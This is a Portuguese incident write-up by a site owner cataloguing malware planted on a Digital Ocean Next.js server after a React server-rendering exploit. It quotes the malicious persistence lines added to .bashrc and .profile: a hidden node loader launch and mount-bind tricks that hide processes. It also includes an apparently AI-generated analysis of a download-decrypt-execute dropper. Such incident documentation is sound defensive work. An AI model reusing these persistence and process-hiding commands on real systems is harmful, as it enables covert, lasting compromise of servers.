
malware que encontrei no meu servidor
Isto é um despejo de malware e outros lixos suspeitos que encontrei no servidor do meu site de casamento após o exploit de execução de código na renderização server-side do react. É um droplet básico da Digital Ocean executando um aplicativo next js bastante comum.
A CVE: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
Um registro de atividade do servidor mostrando vários picos e coisas do tipo:

O principal vilão parece ser esta coisa instalada em /.local/share/.r0qsv8h1
No meu bashrc:
# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
Observe que os pgreps estão lá para impedir que este outro malware falso "meshagent" seja executado. Você pode ler sobre isso no documento MESHAGENT.md.
no meu profile há o mesmo
# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
Você pode ver outros serviços suspeitos em SUSPICIOUS_SERVICES.md
Aqui está uma análise deste malware principal:
O diretório bad contém um runtime Node.js autocontido empacotado com um conjunto de arquivos JavaScript fortemente ofuscados.
Todas as evidências apontam para um dropper malicioso que contata silenciosamente um servidor remoto, baixa um payload criptografado, o descriptografa, grava-o em disco e o executa como um processo em segundo plano destacado. O código também verifica periodicamente o servidor em busca de atualizações.
O payload Base64 em .5f8562 decodifica para:
{
"0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
"1": ".fvq2lzj6te.js",
"3": 1765307786421,
"4": "desktop"
}
"1" faz referência ao script carregador principal ofuscado."0" é um UUID provavelmente usado pelo servidor remoto para rastreamento."3" é um timestamp (ms desde a época Unix) indicando quando o manifesto foi gerado."4" indica o local pretendido (desktop), sugerindo que o payload pode tentar se esconder ali.node .5f8562), o manifesto aponta para .fvq2lzj6te.js.setInterval repete periodicamente a sequência baixar-descriptografar-executar, permitindo que o atacante envie payloads novos ou atualizados sem interação adicional do usuário.PATH, cwd, etc.) e pode realizar ações maliciosas típicas, como mineração de criptomoedas, roubo de credenciais ou execução remota de comandos..r0qsv8h1 e quaisquer arquivos que ele possa ter criado (verifique o Desktop do usuário e os diretórios temporários em busca de executáveis recém-criados).Esta análise foi realizada automaticamente por um assistente de IA com base em um exame estático dos arquivos presentes no diretório. Nenhuma execução em tempo de execução foi realizada.
Você pode ler mais em DEOBFUSCATE.md
| Arquivo | Descrição |
|---|
.394ly8v9/README.md | README padrão do Node.js – não relacionado à funcionalidade maliciosa; presente apenas para fazer o pacote parecer legítimo. |
.fvq2lzl64e.js | ~5 KB de JavaScript ofuscado. Ele constrói uma solicitação HTTP JSON-RPC, recebe um payload codificado em base64, o descriptografa com uma cifra personalizada, grava o payload em um arquivo aleatório e o executa via child_process.spawn / execSync. Ele também inicia um processo em segundo plano destacado que consulta repetidamente o servidor remoto. |
.lauphhtqrg.js | ~13 KB de JavaScript ofuscado. Implementa um loop semelhante de baixar-descriptografar-executar com sua própria cifra estilo RC4 (dec). Grava o payload descriptografado em um nome de arquivo gerado e o executa. Configura um temporizador para buscar novos payloads mais tarde. |
.5f8562 | String Base64 em texto puro. Decodifica para um pequeno manifesto JSON: json { "0":"c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c", "1":".fvq2lzj6te.js", "3":1765307786421, "4":"desktop" } Este manifesto informa ao carregador qual script executar (.fvq2lzj6te.js) e fornece um identificador/timestamp. |
.b0rtqscrkeov | Ainda não examinado, mas o padrão de nomenclatura sugere que é outro componente da mesma cadeia maliciosa. |
bin/node e arquivos lib/ correspondentes | Um runtime completo do Node.js, permitindo que os scripts sejam executados em um sistema mesmo que o Node.js não esteja instalado. |